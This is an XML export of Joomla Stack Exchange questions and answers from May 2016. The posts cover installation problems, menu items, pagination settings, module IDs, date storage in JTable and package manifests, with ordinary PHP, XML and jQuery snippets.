  <row Id="16506" PostTypeId="1" AcceptedAnswerId="16523" CreationDate="2016-05-11T13:55:01.460" Score="2" ViewCount="884" Body="&lt;p&gt;I'm trying to get myself up and running with Joomla for the first time, I've installed the full LAMP stack and navigated to my joomla install by going to the local host in my browser 127.0.0.1/joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla install screen displays good.&#xA;I am able to successfully get past first install screen &quot;Configuration&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem appears in second screen &quot;Database Configuration&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;Database Type*&quot; combo box has no options, just &quot;None&quot;. MySQL is installed on the machine and the service is running, so why would this be?&lt;/p&gt;&#xA;" OwnerUserId="8394" LastActivityDate="2016-06-12T18:46:11.220" Title="Joomla install database configuration not recognizing MySQL" Tags="|mysql|database|installation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16508" PostTypeId="2" ParentId="16496" CreationDate="2016-05-11T18:50:17.327" Score="0" Body="&lt;p&gt;i have fixed it by:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$post = $app-&amp;gt;input-&amp;gt;post-&amp;gt;getArray();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thnx for checking the issue.&lt;/p&gt;&#xA;" OwnerUserId="8388" LastActivityDate="2016-05-11T18:50:17.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16509" PostTypeId="1" CreationDate="2016-05-11T21:17:21.470" Score="2" ViewCount="83" Body="&lt;p&gt;In my current active menu item, I want to get the next possible (enabled) menu item. Is there any coherent approach to do so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;Case:&#xA;I have a menu named English Menu&#xA;It has five items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently in item 1, and naturally the next item would be item 2. With such strategy in mind, I can create a nice navigational menu for pages (apart from main navigation) like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next Page (Item 2)&lt;/p&gt;&#xA;" OwnerUserId="8286" LastEditorUserId="8286" LastEditDate="2016-05-12T17:08:38.153" LastActivityDate="2016-06-06T13:38:43.890" Title="How to get the next available menu item" Tags="|menu|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16511" PostTypeId="1" CreationDate="2016-05-12T09:38:14.743" Score="1" ViewCount="295" Body="&lt;p&gt;Currently my Smart search module is showing 100 results per pagination. Where can I set that only 10 results will be shown per pagination. I searched for this setting in module and general configuration, but i cannot find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it maybe hardcoded somewhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Joomla 3.4.5.&lt;/p&gt;&#xA;" OwnerUserId="5324" LastActivityDate="2016-05-12T15:16:31.240" Title="Joomla Smart search limit displayed results per pagination" Tags="|joomla-3.x|t3-framework|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16512" PostTypeId="1" AcceptedAnswerId="19008" CreationDate="2016-05-12T10:51:58.177" Score="4" ViewCount="2759" Body="&lt;p&gt;What can be the reason for not being able to install languages through admin?&lt;br /&gt;&#xA;I am getting:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;There are no available languages to install at the moment. Please&#xA;select the &amp;quot;Find languages&amp;quot; button to check for updates on the Joomla!&#xA;Languages server. You will need an internet connection for this to&#xA;work.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I have cleared caches, and certainly I have internet connection.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Joomla 3.5.1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&lt;p&gt;Based on Lodder's answer, below:&lt;/p&gt;&#xA;&lt;p&gt;All my update sites are enabled in the admin.&lt;br /&gt;&#xA;However the &lt;strong&gt;&lt;code&gt;findLanguages()&lt;/code&gt;&lt;/strong&gt; method has a different opinion:&lt;br /&gt;&#xA;Modifying it a little as below, the results I am getting from the 2 if statements are: &lt;strong&gt;1&lt;/strong&gt; &amp;amp; &lt;strong&gt;2&lt;/strong&gt; accordingly.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function findLanguages($cache_timeout = 0)&#xA;{&#xA;    if (!$this-&amp;gt;enableUpdateSite())&#xA;    {&#xA;        var_dump('1');&#xA;        //return false;&#xA;    }else {&#xA;        var_dump('2');&#xA;    }&#xA;    // *** This results to var_dump 1 ***&#xA;    &#xA;    if (!$this-&amp;gt;enGbExtensionId)&#xA;    {&#xA;        var_dump('1');&#xA;        //return false;&#xA;    }else {&#xA;        var_dump('2');&#xA;    }&#xA;    // *** This results to var_dump 2 ***&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-01-31T20:19:53.060" Title="No available languages to install at the moment" Tags="|joomla-3.x|extensions|language|installation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16513" PostTypeId="2" ParentId="16512" CreationDate="2016-05-12T11:06:32.050" Score="1" Body="&lt;p&gt;This is a long shot, by try going to:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Extensions&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Manage&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Update Sites&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Ensure the core Joomla update sites are enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they are already enabled, then (and this is not a fix but a test), go to line &lt;strong&gt;237&lt;/strong&gt; of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator\components\com_installer\models\languages.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_dump('test');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just before the &lt;code&gt;return false;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then try to find languages again. If you see &lt;code&gt;test&lt;/code&gt; being dumped, then let me know and I'll look at that further&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-05-12T11:06:32.050" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16514" PostTypeId="1" CreationDate="2016-05-12T12:45:27.197" Score="2" ViewCount="767" Body="&lt;p&gt;While building a website, I came to the conclusion that I had two positions that included identical modules (&lt;code&gt;Header&lt;/code&gt; and &lt;code&gt;Footer&lt;/code&gt;). Both include the exact same menu and small blurb of text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the sake of time and efficiency, I tried to set it up so both positions loaded modules that were set to load in &lt;code&gt;Header&lt;/code&gt;. However, this raises a problem; my menu requires a unique ID to run some JavaScript. Granted, I could modify the module to just create a random ID, but that's not garuanteed to be 100% unique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to modify the ID of a module loaded into &lt;code&gt;Footer&lt;/code&gt; so that it's different from the duplicates in &lt;code&gt;Header&lt;/code&gt;? Or am I stuck creating duplicates of the modules in &lt;code&gt;Header&lt;/code&gt; for &lt;code&gt;Footer&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="2081" LastActivityDate="2016-05-13T11:13:47.193" Title="Is it possible to load the same module into two different positions and have it use two different IDs?" Tags="|module|module-display|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16515" PostTypeId="2" ParentId="16511" CreationDate="2016-05-12T13:43:46.263" Score="-1" Body="&lt;p&gt;In the file &lt;code&gt;JoomlaFolder\libraries\cms\pagination\pagination.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at &lt;code&gt;$dsplaypages = 10;&lt;/code&gt; Line no :- 144 and change it to what ever you want.&lt;/p&gt;&#xA;" OwnerUserId="8396" LastEditorUserId="1629" LastEditDate="2016-05-12T15:16:31.240" LastActivityDate="2016-05-12T15:16:31.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16516" PostTypeId="2" ParentId="16514" CreationDate="2016-05-12T14:00:28.710" Score="2" Body="&lt;p&gt;This id attribute is an attribute attached to a certain element of the output of your menu module - it is an internal handling of your menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The module position in your template cannot define an id for an element that is used/gets created by any module, which is rendered in that position. Simply, the &lt;strong&gt;Module position/template&lt;/strong&gt; doesn't know what is going to come out from the module it will render, in terms of the markup of the module will eventually will have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will be faster if you duplicate your modules and place them in 2 different module positions, but if that's a must requirement then the following solutions could be applied.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Solutions&lt;/h1&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I will use the core mod_menu as an example.&lt;br&gt;&#xA;  Adjust any of the below examples for your specific case/module.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;Solution #1.&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;Check for $module-&gt;position in a Module's Template override.&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;EDIT: this solution won't work as described for this particular use-case. Better Check solution 2 and read bottom notes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a template override for your module: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;templates/YOU_TEMPLATE/html/mod_menu/default.php &#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Inside your template override check for the module's position like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($module-&amp;gt;position == 'bottom-position')&#xA;{&#xA;  $idd = 'bottomMenuID';&#xA;}&#xA;else&#xA;{&#xA;  $idd = 'normalMenuID';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then later in your menu code, replace the value of the ID attribute for your element with the &lt;code&gt;$idd&lt;/code&gt;;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Solution #2.&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;Use JModuleHelper and override $module-&gt;params.&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a template override for the mod_menu:    Add this:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;templates/YOU_TEMPLATE/html/mod_menu/default.php &#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Rename default.php to something like footermenu.php &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Edit the footermenu.php template and change the id attribute on question to the one that you want to use for the second menu.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In your template, at the desired location where you want to display the menu for a second time:   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport( 'joomla.application.module.helper' );&#xA;$module = JModuleHelper::getModule( 'menu', 'Main Menu');&#xA;$module-&amp;gt;params = '{&quot;menutype&quot;:&quot;mainmenu&quot;,&quot;base&quot;:&quot;&quot;,&quot;startLevel&quot;:&quot;1&quot;,&quot;endLevel&quot;:&quot;0&quot;,&quot;showAllChildren&quot;:&quot;1&quot;,&quot;tag_id&quot;:&quot;&quot;,&quot;class_sfx&quot;:&quot;&quot;,&quot;window_open&quot;:&quot;&quot;,&quot;layout&quot;:&quot;webxcon:footer&quot;,&quot;moduleclass_sfx&quot;:&quot;&quot;,&quot;cache&quot;:&quot;1&quot;,&quot;cache_time&quot;:&quot;900&quot;,&quot;cachemode&quot;:&quot;itemid&quot;,&quot;module_tag&quot;:&quot;div&quot;,&quot;bootstrap_size&quot;:&quot;0&quot;,&quot;header_tag&quot;:&quot;h3&quot;,&quot;header_class&quot;:&quot;&quot;,&quot;style&quot;:&quot;0&quot;}';&#xA;echo JModuleHelper::renderModule( $module, $attribs );&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;@Chaosxmk and anyone that might reach here having the same question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I have to admit, that I didn't try the above solutions and Actually&#xA;  you are right for Solution 1.  In fact, solution 1 came to mind, while&#xA;  I was writing solution 2 after the point of using JModuleHelper -which&#xA;  at that point it made sense to me to say that I will ask the module to&#xA;  search for its position. I had forgotten at that point that you want&#xA;  to call the same module / same module position. So, solution 1&#xA;  actually won't work as described above.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I am leaving solution 1 here as reference and because it presents how someone &#xA;  could check a module's current position from within a module and&#xA;  possibly provide further ideas to someone.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-05-13T11:13:47.193" LastActivityDate="2016-05-13T11:13:47.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16518" PostTypeId="1" AcceptedAnswerId="16552" CreationDate="2016-05-13T07:42:57.273" Score="2" ViewCount="98" Body="&lt;p&gt;I would like to store the input of the calendar-field in my JTable::store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do so I'm doing this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Form-declaration:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;field name=&quot;creationdate&quot;&#xA;           type=&quot;calendar&quot;&#xA;           default=&quot;NOW&quot;&#xA;           label=&quot;COM_BESTIA_FIELDS_CREDITCREATIONDATE_LABEL&quot;&#xA;           description=&quot;COM_BESTIA_FIELDS_CREDITCREATIONDATE_DESC&quot;&#xA;           format=&quot;%d.%m.%Y %H:%M&quot;&#xA;           filter=&quot;user_utc&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Store-Method in JTable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if ( !empty( $input[ 'creationdate' ] ) &amp;amp;&amp;amp; !( $input[ 'creationdate' ] == &quot;0000-00-00 00:00:00&quot; ) )    // Prepare date to be saved in database&#xA;    {&#xA;        // Set this to a format the sql-table is able to save&#xA;        $date               = JFactory::getDate($input[ 'creationdate' ]);&#xA;        $this-&amp;gt;creationdate = $date-&amp;gt;toSql();&#xA;    }&#xA;    else&#xA;    {&#xA;        throw new Exception(JText::_('COM_BESTIA_ERROR_INCORRECTDATES'));&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine. If I var_dump the output doing&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    var_dump(JFactory::getDate($input[ 'creationdate' ])-&amp;gt;toSql());&#xA;    var_dump(JFactory::getDate($this-&amp;gt;creationdate)-&amp;gt;toSql());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm getting this result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;string(19) &quot;2016-05-13 09:30:00&quot; string(19) &quot;2016-05-13 09:30:00&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in another form I'm getting this result for:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;XML:&#xA;        &lt;/p&gt;&#xA;&#xA;&lt;p&gt;var_dump:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    var_dump(JFactory::getDate($input[ 'creationdate' ])-&amp;gt;toSql());&#xA;    var_dump(JFactory::getDate($this-&amp;gt;creationdate)-&amp;gt;toSql());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;string(16) &quot;13.05.2016 09:41&quot; string(19) &quot;2016-05-13 07:41:00&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea why I'm getting different values?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: The reason why I'm using the input sometimes instead of &lt;code&gt;$this-&amp;gt;creationdate&lt;/code&gt; is that I'm using a CLI script to create elements. And until now I was not able to get the values to database if I use &lt;code&gt;$this-&amp;gt;creationdate&lt;/code&gt; and not the input.&lt;/p&gt;&#xA;" OwnerUserId="4028" LastEditorUserId="4028" LastEditDate="2016-05-13T07:48:00.437" LastActivityDate="2016-05-16T16:56:55.907" Title="Strange behavior with dates" Tags="|jtable|date|jdate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16519" PostTypeId="1" AcceptedAnswerId="16520" CreationDate="2016-05-13T09:14:33.583" Score="1" ViewCount="179" Body="&lt;p&gt;I'm trying to create a package of a range of components, modules, plugins, templates and media files which are standard for most website that I create. I was wondering if the .xml file can handle all of this and if so. Which is the best way to go about it. So far this is what I have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;name&amp;gt;******&amp;lt;/name&amp;gt;&#xA;&amp;lt;author&amp;gt;******&amp;lt;/author&amp;gt;&#xA;&amp;lt;creationDate&amp;gt;May 2016&amp;lt;/creationDate&amp;gt;&#xA;&amp;lt;packagename&amp;gt;MTInstall&amp;lt;/packagename&amp;gt;&#xA;&amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;&#xA;&amp;lt;url&amp;gt;http://www.******.com&amp;lt;/url&amp;gt;&#xA;&amp;lt;packager&amp;gt;******&amp;lt;/packager&amp;gt;&#xA;&amp;lt;packagerurl&amp;gt;http://www.*******.com&amp;lt;/packagerurl&amp;gt;&#xA;&amp;lt;description&amp;gt;Package contains all components, plugins and modules&amp;lt;/description&amp;gt;&#xA;&amp;lt;update&amp;gt;http://www.www.*******.com&amp;lt;/update&amp;gt;&#xA;&#xA;&amp;lt;files folder=&quot;packages&quot;&amp;gt;&#xA;    &amp;lt;file type=&quot;component&quot; id=&quot;com_aclmanager&quot; &amp;gt;com_aclmanager.zip&amp;lt;/file&amp;gt;&#xA;    &amp;lt;file type=&quot;component&quot; id=&quot;admin_menu_manager&quot; &amp;gt;com_admin-menu-manager.zip&amp;lt;/file&amp;gt;&#xA;    &amp;lt;file type=&quot;component&quot; id=&quot;jce&quot; &amp;gt;com_jce.zip&amp;lt;/file&amp;gt;&#xA;    &amp;lt;file type=&quot;plugin&quot; id=&quot;plg_mtcustompagedata&quot; group=&quot;system&quot;&amp;gt;plg_mtcustompagedata.zip&amp;lt;/file&amp;gt;&#xA;    &amp;lt;file type=&quot;plugin&quot; id=&quot;plg_mtcustompagefields&quot; group=&quot;system&quot;&amp;gt;plg_mtcustompagefields.zip&amp;lt;/file&amp;gt;&#xA;    &amp;lt;file type=&quot;plugin&quot; id=&quot;plg_mtmodule&quot; group=&quot;system&quot;&amp;gt;plg_mtmodule.zip&amp;lt;/file&amp;gt;&#xA;    &amp;lt;file type=&quot;plugin&quot; id=&quot;plg_mtredirect&quot; group=&quot;system&quot;&amp;gt;plg_mtredirect.zip&amp;lt;/file&amp;gt;&#xA;    &amp;lt;file type=&quot;plugin&quot; id=&quot;plg_mtuserdata&quot; group=&quot;system&quot;&amp;gt;plg_mtuserdata.zip&amp;lt;/file&amp;gt;&#xA;&amp;lt;/files&amp;gt;&#xA;&#xA;&amp;lt;media folder=&quot;packages&quot; destination=&quot;mt_media&quot;&amp;gt;&#xA;    &amp;lt;filename&amp;gt;mttemplateMedia.zip&amp;lt;/filename&amp;gt;        &#xA;&amp;lt;/media&amp;gt;&#xA;&#xA;&amp;lt;install&amp;gt;&#xA;    &amp;lt;sql&amp;gt;&#xA;        &amp;lt;file charset=&quot;utf8&quot; driver=&quot;mysql&quot;&amp;gt;install.mysql.sql&amp;lt;/file&amp;gt;&#xA;    &amp;lt;/sql&amp;gt;&#xA;&amp;lt;/install&amp;gt;&#xA;&amp;lt;uninstall&amp;gt;&#xA;    &amp;lt;sql&amp;gt;&#xA;        &amp;lt;file charset=&quot;utf8&quot; driver=&quot;mysql&quot;&amp;gt;uninstall.mysql.sql&amp;lt;/file&amp;gt;&#xA;    &amp;lt;/sql&amp;gt;&#xA;&amp;lt;/uninstall&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to completely miss the media files. And when I add templates in it also doesn't find those. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="8397" LastActivityDate="2016-05-13T09:32:32.033" Title="Can I use a single .xml file to install components, modules, plugins and media files?" Tags="|installation|xml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16520" PostTypeId="2" ParentId="16519" CreationDate="2016-05-13T09:32:32.033" Score="0" Body="&lt;p&gt;As far as I know, &lt;code&gt;&amp;lt;media&amp;gt;&lt;/code&gt; does not accept zip files in &lt;code&gt;&amp;lt;filename&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you best options will be to create a &lt;strong&gt;script.php&lt;/strong&gt; and use the &lt;code&gt;postinstall()&lt;/code&gt; function to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Move the zip file to the &lt;code&gt;media&lt;/code&gt; directory&lt;/li&gt;&#xA;&lt;li&gt;Extract the zip file&lt;/li&gt;&#xA;&lt;li&gt;Delete the zip file&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Take a look at &lt;a href=&quot;https://docs.joomla.org/J2.5:Developing_a_MVC_Component/Adding_an_install-uninstall-update_script_file&quot; rel=&quot;nofollow&quot;&gt;Adding an install/uninstall/update script file&lt;/a&gt; for more information&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-05-13T09:32:32.033" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16521" PostTypeId="2" ParentId="786" CreationDate="2016-05-13T14:33:25.940" Score="5" Body="&lt;p&gt;I'm running a Joomla 1.5.26 site alongside a new J3 site under construction on the same PHP installation. The J1.5 site is running perfectly on PHP 5.6 without any changes to anything at all. The J1.5 site is a very simple site with only a few extensions.&lt;/p&gt;&#xA;" OwnerUserId="8398" LastEditorUserId="8398" LastEditDate="2017-02-23T10:25:27.773" LastActivityDate="2017-02-23T10:25:27.773" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16523" PostTypeId="2" ParentId="16506" CreationDate="2016-05-13T17:18:22.203" Score="2" Body="&lt;p&gt;Here is the solution I've found:&#xA;I ran both of these installs (the first was already installed for me, so the second one must have been what is missing)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install php5-mysql&#xA;sudo apt-get install php5-mysqlnd &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8394" LastActivityDate="2016-05-13T17:18:22.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16524" PostTypeId="1" AcceptedAnswerId="16528" CreationDate="2016-05-13T17:25:19.690" Score="2" ViewCount="99" Body="&lt;p&gt;I've downloaded and installed the LAMP stack, and the template meetGavern.&#xA;I've got everything up and running, I ran the install procedure and now I can load up the meetGavern template site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I wish to get started morphing this template into my own personal website. I have no idea where to begin, this is my first time using Joomla. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand this is a broad question but oddly my searches are not giving me any direction, every resource I find seems to assume in-depth knowledge of Joomla.&lt;/p&gt;&#xA;" OwnerUserId="8394" LastActivityDate="2016-05-14T02:38:02.713" Title="How to modify Joomla template to make my own personal site?" Tags="|templates|gavick|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16525" PostTypeId="1" AcceptedAnswerId="16549" CreationDate="2016-05-13T18:16:49.543" Score="1" ViewCount="449" Body="&lt;p&gt;I am having trouble getting my bootstrap 3 carousel to work. On the site it will automatically advance if you first click to advance a slide. I have disabled the pause on hover. I tested it on Code Pen and it works like a charm. I think it might be a conflict with the JS but I dont know where to start.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function($){   &#xA;    $(document).ready(function(){&#xA;        $('.dropdown-toggle').dropdown();&#xA;&#xA;        // Script to Activate the Carousel &#xA;        $('.carousel').carousel({&#xA;            interval: 3000,&#xA;            pause: 'none'&#xA;        });&#xA;    });&#xA;&#xA;})(jQuery);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codepen.io/yoderman94/pen/vGMZJq&quot; rel=&quot;nofollow&quot;&gt;Code Pen Link&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1911" LastActivityDate="2016-05-16T14:54:48.710" Title="Bootstrap 3 Carousel not starting automatically" Tags="|joomla-3.x|jquery|javascript|joomla-3.5|twitter-bootstrap-3|" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="16527" PostTypeId="1" CreationDate="2016-05-13T23:21:30.343" Score="1" ViewCount="4375" Body="&lt;p&gt;I was trying to manually add menu item to the database. See &lt;a href=&quot;https://stackoverflow.com/questions/37198806/duplicate-entry-for-key-idx-client-id-parent-id-alias-language-when-manually-i&quot;&gt;this question&lt;/a&gt;, when I notice these two fields in the &lt;code&gt;#__menu&lt;/code&gt; table. It seems to me they are auto increasing by 2. For example, if the latest menu item have {lft:121,rgt:122}, then a new menu item will have {lft:123,rgt,124}. A brief searching shows they are related to something called &quot;nested model&quot;, and I look at other Joomla tables, many have these two fields too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not understanding what they are, I just add new record to the table, and I gave each new record these two fields, keeping the auto increment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today I tried to add a new menu item through back-end and get this error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Save failed with the following error: exception&#xA;  'UnexpectedValueException' with message 'MenusTableMenu::_getNode(1, )&#xA;  failed.' in /home/p/public_html/libraries/joomla/table/nested.php:1532&#xA;  Stack trace: #0&#xA;  /home/p/public_html/libraries/joomla/table/nested.php(773):&#xA;  JTableNested-&gt;_getNode(1) #1&#xA;  /home/p/public_html/libraries/legacy/table/menu.php(243):&#xA;  JTableNested-&gt;store(false) #2&#xA;  /home/p/public_html/administrator/components/com_menus/models/item.php(1258):&#xA;  JTableMenu-&gt;store() #3&#xA;  /home/p/public_html/administrator/components/com_menus/controllers/item.php(267):&#xA;  MenusModelItem-&gt;save(Array) #4&#xA;  /home/p/public_html/libraries/legacy/controller/legacy.php(728):&#xA;  MenusControllerItem-&gt;save() #5&#xA;  /home/p/public_html/administrator/components/com_menus/menus.php(18):&#xA;  JControllerLegacy-&gt;execute('apply') #6&#xA;  /home/p/public_html/libraries/cms/component/helper.php(405):&#xA;  require_once('/home/p/public_...') #7&#xA;  /home/p/public_html/libraries/cms/component/helper.php(380):&#xA;  JComponentHelper::executeComponent('/home/p/public_...') #8&#xA;  /home/p/public_html/libraries/cms/application/administrator.php(98):&#xA;  JComponentHelper::renderComponent('com_menus') #9&#xA;  /home/p/public_html/libraries/cms/application/administrator.php(152):&#xA;  JApplicationAdministrator-&gt;dispatch() #10&#xA;  /home/p/public_html/libraries/cms/application/cms.php(257):&#xA;  JApplicationAdministrator-&gt;doExecute() #11&#xA;  /home/p/public_html/administrator/index.php(51):&#xA;  JApplicationCms-&gt;execute() #12 {main}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I see &lt;code&gt;nested&lt;/code&gt; is involved in this issue, so I guess it has something to do with the two fields that I ignored. How to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S., I hardcoded some PHP to add record into the &lt;code&gt;#__menu&lt;/code&gt;, I think this also play a part in the problem. Too add menu item, besides &lt;code&gt;#__menu&lt;/code&gt;, is there any other table I need to take care of?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-05-22T18:10:09.357" Title="What does 'lft' and 'rgt' do in #__menu table?" Tags="|php|joomla-3.4|mysql|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
